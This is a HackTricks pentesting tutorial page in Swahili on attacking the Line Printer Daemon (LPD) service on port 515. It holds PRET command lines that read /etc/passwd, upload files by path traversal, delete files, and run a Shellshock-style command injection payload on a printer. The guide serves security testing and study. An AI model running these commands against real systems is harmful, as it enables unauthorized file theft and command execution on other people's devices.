hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md
2024-02-11 02:13:58 +00:00

4.1 KiB

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Utangulizi kwa Itifaki ya LPD

Katika miaka ya 1980, Itifaki ya Line Printer Daemon (LPD) ilianzishwa katika Berkeley Unix, ambayo baadaye ilifanywa rasmi kupitia RFC1179. Itifaki hii inafanya kazi kupitia bandari 515/tcp, kuruhusu mwingiliano kupitia amri ya lpr. Kiini cha uchapishaji kupitia LPD ni kutuma faili ya kudhibiti (kutaja maelezo ya kazi na mtumiaji) pamoja na faili ya data (ambayo inashikilia habari za uchapishaji). Wakati faili ya kudhibiti inaruhusu uchaguzi wa muundo tofauti wa faili kwa faili ya data, kushughulikia faili hizi kunategemea utekelezaji maalum wa LPD. Utekelezaji unaotambulika sana kwa mifumo kama ya Unix ni LPRng. Kwa umuhimu, itifaki ya LPD inaweza kutumiwa kudukua na kutekeleza kazi za uchapishaji za PostScript au PJL zenye nia mbaya.

Vyombo vya Mwingiliano na Printa za LPD

PRET inaleta zana mbili muhimu, lpdprint na lpdtest, zinazotoa njia rahisi ya kuingiliana na printa zinazofaa LPD. Zana hizi zinaruhusu vitendo mbalimbali kuanzia uchapishaji wa data hadi kubadilisha faili kwenye printa, kama kupakua, kupakia, au kufuta:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Kwa watu binafsi wanaopenda kuchunguza zaidi ulimwengu wa uchomaji wa printa, rasilimali kamili inaweza kupatikana hapa: Kuchoma Printa.

Shodan

  • bandari 515
Jifunze kuhusu uchomaji wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: